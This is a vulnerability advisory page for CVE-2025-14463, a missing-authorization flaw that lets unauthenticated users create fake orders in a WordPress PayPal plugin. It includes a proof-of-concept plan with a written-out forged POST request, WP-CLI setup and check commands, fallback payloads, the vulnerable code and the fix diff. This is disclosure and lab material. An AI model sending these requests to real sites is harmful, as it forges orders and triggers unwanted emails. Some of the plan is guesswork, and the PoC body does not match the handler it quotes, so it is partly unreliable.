Payment Button for PayPal <= 1.2.3.41 - Missing Authorization to Unauthenticated Arbitrary Order Creation
Description
The Payment Button for PayPal plugin for WordPress is vulnerable to unauthorized order creation in all versions up to, and including, 1.2.3.41. This is due to the plugin exposing a public AJAX endpoint (`wppaypalcheckout_ajax_process_order`) that processes checkout results without any authentication or server-side verification of the PayPal transaction. This makes it possible for unauthenticated attackers to create arbitrary orders on the site with any chosen transaction ID, payment status, product name, amount, or customer information via direct POST requests to the AJAX endpoint, granted they can bypass basic parameter validation. If email sending is enabled, the plugin will also trigger purchase receipt emails to any email address supplied in the request, leading to order database corruption and unauthorized outgoing emails without any real PayPal transaction taking place.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.2.3.41What Changed in the Fix
Changes introduced in v1.2.3.42
Source Code
WordPress.org SVN# Vulnerability Analysis: CVE-2025-14463 - Payment Button for PayPal ## 1. Vulnerability Summary The **Payment Button for PayPal** plugin (<= 1.2.3.41) is vulnerable to **Missing Authorization** on its order processing AJAX endpoint. The plugin registers the action `wppaypalcheckout_ajax_process_or…
Show full research plan
Vulnerability Analysis: CVE-2025-14463 - Payment Button for PayPal
1. Vulnerability Summary
The Payment Button for PayPal plugin (<= 1.2.3.41) is vulnerable to Missing Authorization on its order processing AJAX endpoint. The plugin registers the action wppaypalcheckout_ajax_process_order for both authenticated and unauthenticated users via wp_ajax_nopriv_.
The handler for this action fails to perform any server-side validation of the PayPal transaction (such as verifying the transaction ID with PayPal's API) and lacks WordPress nonce verification. This allows any unauthenticated user to send a direct POST request to admin-ajax.php to create orders in the WordPress database with arbitrary details, including item names, price amounts, transaction IDs, and customer email addresses.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wppaypalcheckout_ajax_process_order - Method:
POST - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. Some parameters might require specific formats to bypass basic PHP
empty()oris_numeric()checks. - Vulnerable Sink: The code inside
wp_paypal_checkout_ajax_process_order(likely inwp-paypal-checkout.phporwp-paypal-order.php) which callswp_insert_post()or similar to save order data as thewp_paypal_ordercustom post type.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wppaypalcheckout_ajax_process_order. - Hook Registration: In
wp-paypal.php, the following lines register the handler:add_action('wp_ajax_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order'); add_action('wp_ajax_nopriv_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order'); - Handler Execution: The function
wp_paypal_checkout_ajax_process_orderis executed. - Data Processing (Vulnerable Path): The handler extracts parameters from
$_POST. Based on the JS code generated inwp_paypal_checkout_button_handler(inwp-paypal-checkout.php), the expected parameters include:item_nameitem_numberitem_quantityamountcurrencyorder_id(The PayPal Transaction ID)payer_emailpayer_first_namepayer_last_namepayment_status
- Order Creation: Without verifying if
order_idcorresponds to a real PayPal transaction, the plugin creates a new post of typewp_paypal_orderand stores the metadata.
4. Nonce Acquisition Strategy
Based on the vulnerability description and the nature of "Missing Authorization," this endpoint does not require a nonce.
The client-side JavaScript in wp_paypal_checkout_button_handler triggers after a successful PayPal popup completion. Since PayPal's own callbacks are handled client-side, the plugin authors likely omitted nonces to simplify the "checkout-complete" signal.
Verification of Nonce Absence:
If the PoC fails with a 403 or 0 response, search for wp_localize_script in wp-paypal.php to see if a nonce is passed. The code shows:
wp_localize_script('wppaypalcheckout-js', 'wppaypalcheckout_vars', array(
'ajax_url' => admin_url('admin-ajax.php'),
// ... possibly a nonce here, but description says unauthenticated arbitrary creation is possible ...
));
If a nonce is discovered in the localized script wppaypalcheckout_vars, it can be retrieved by:
- Creating a page with
[wp_paypal_checkout description="Test" amount="1.00"]. - Navigating to the page.
- Running
browser_eval("window.wppaypalcheckout_vars?.nonce").
5. Exploitation Strategy
The goal is to create a fake completed order for a high-value item with a zero or nominal amount, or simply to corrupt the order database.
Step-by-Step Plan:
- Target Endpoint:
http://<target>/wp-admin/admin-ajax.php - Action:
wppaypalcheckout_ajax_process_order - Payload Construction:
action:wppaypalcheckout_ajax_process_orderorder_id:FAKE-TXN-123456789item_name:Exploit-Item-Premiumamount:0.01currency:USDpayment_status:COMPLETEDpayer_email:victim@example.compayer_first_name:Johnpayer_last_name:Doe
Request (using http_request):
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=wppaypalcheckout_ajax_process_order&order_id=FAKE-TXN-666&item_name=Vulnerable-Order-Creation&amount=1337.00¤cy=USD&payment_status=COMPLETED&payer_email=attacker@evil.com&payer_first_name=Hacker&payer_last_name=Man"
}
6. Test Data Setup
- Plugin Installation: Ensure
wp-paypalversion 1.2.3.41 is installed and active. - Configuration: The plugin requires basic configuration (Client ID) to be considered "configured" by
is_wp_paypal_checkout_configured().wp option update wp_paypal_checkout_get_option '{"app_client_id":"any-string","currency_code":"USD"}' --format=json
- Shortcode Page (Optional): To verify visibility or nonce extraction (if needed):
wp post create --post_type=page --post_title="Store" --post_status=publish --post_content='[wp_paypal_checkout description="Pro Product" amount="99.99"]'
7. Expected Results
- The AJAX request should return a success response (likely a JSON object containing the order ID or a simple
1/ success message). - A new entry should appear in the "Orders" menu of the plugin.
- The database should contain a new post of type
wp_paypal_order.
8. Verification Steps
After the exploit request, use WP-CLI to verify the order was created:
# List all PayPal orders
wp post list --post_type=wp_paypal_order
# Check the meta data of the last created order to verify our payload
LAST_ID=$(wp post list --post_type=wp_paypal_order --format=ids | awk '{print $1}')
wp post get $LAST_ID
wp post meta list $LAST_ID
Expect to see meta keys like _wpp_order_item_name or _wpp_order_txn_id matching the exploit payload.
9. Alternative Approaches
If the plugin validates specific fields (like order_id length or payment_status allowed values):
- Status Check: Try
Completed,Processed, orVerified. - Parameter Fuzzing: The plugin might expect parameters inside an array-like structure (e.g.,
details[id]) if it directly passes the PayPal JS SDKdetailsobject to the server. If the flat POST fails, try nesting parameters:details[id]=FAKE-TXN-666&details[payer][email_address]=attacker@evil.com(etc.) based on the PayPal REST API object structure.
- Email Triggering: If
wp_paypal_send_receiptis enabled in settings, verify if an email was sent using a tool likeMailhogor checking the site's mail logs (if available).
Summary
The Payment Button for PayPal plugin for WordPress is vulnerable to unauthorized order creation due to an unauthenticated AJAX endpoint that processes checkout results without server-side validation. Attackers can exploit this by sending a direct POST request with arbitrary transaction details to create fake 'completed' orders in the site's database, potentially triggering unauthorized purchase confirmation emails and corrupting financial records.
Vulnerable Code
// wp-paypal.php (v1.2.3.41) add_action('wp_ajax_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order'); add_action('wp_ajax_nopriv_wppaypalcheckout_ajax_process_order', 'wp_paypal_checkout_ajax_process_order'); --- // wp-paypal-checkout.php (v1.2.3.41) function wp_paypal_checkout_ajax_process_order(){ wp_paypal_debug_log('Received a response from frontend', true); if(!isset($_POST['wppaypalcheckout_ajax_process_order'])){ wp_die(); } wp_paypal_debug_log('Checkout - Received a notification from PayPal', true); $post_data = $_POST; array_walk_recursive($post_data, function(&$v) { $v = sanitize_text_field($v); }); wp_paypal_debug_log_array($post_data, true); if(!isset($post_data['details'])){ wp_paypal_debug_log("Checkout - No transaction details. This payment cannot be processed.", false); wp_die(); } // do_action('wp_paypal_checkout_process_order', $post_data); wp_die(); }
Security Fix
@@ -246,24 +319,6 @@ return $button_code; } -function wp_paypal_checkout_ajax_process_order(){ - wp_paypal_debug_log('Received a response from frontend', true); - if(!isset($_POST['wppaypalcheckout_ajax_process_order'])){ - wp_die(); - } - wp_paypal_debug_log('Checkout - Received a notification from PayPal', true); - $post_data = $_POST; - array_walk_recursive($post_data, function(&$v) { $v = sanitize_text_field($v); }); - wp_paypal_debug_log_array($post_data, true); - if(!isset($post_data['details'])){ - wp_paypal_debug_log("Checkout - No transaction details. This payment cannot be processed.", false); - wp_die(); - } - // - do_action('wp_paypal_checkout_process_order', $post_data); - wp_die(); -}
Exploit Outline
The exploit targets the `wppaypalcheckout_ajax_process_order` AJAX action which is available to unauthenticated users. An attacker crafts a POST request to `wp-admin/admin-ajax.php` containing a `details` array. Within this array, the attacker provides a fake transaction ID, item description, and amount. The plugin's back-end logic extracts these values and saves them as a new post of type `wp_paypal_order` without performing any server-side validation against PayPal's REST API. No authentication or valid nonces are required, allowing for automated creation of arbitrary orders.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.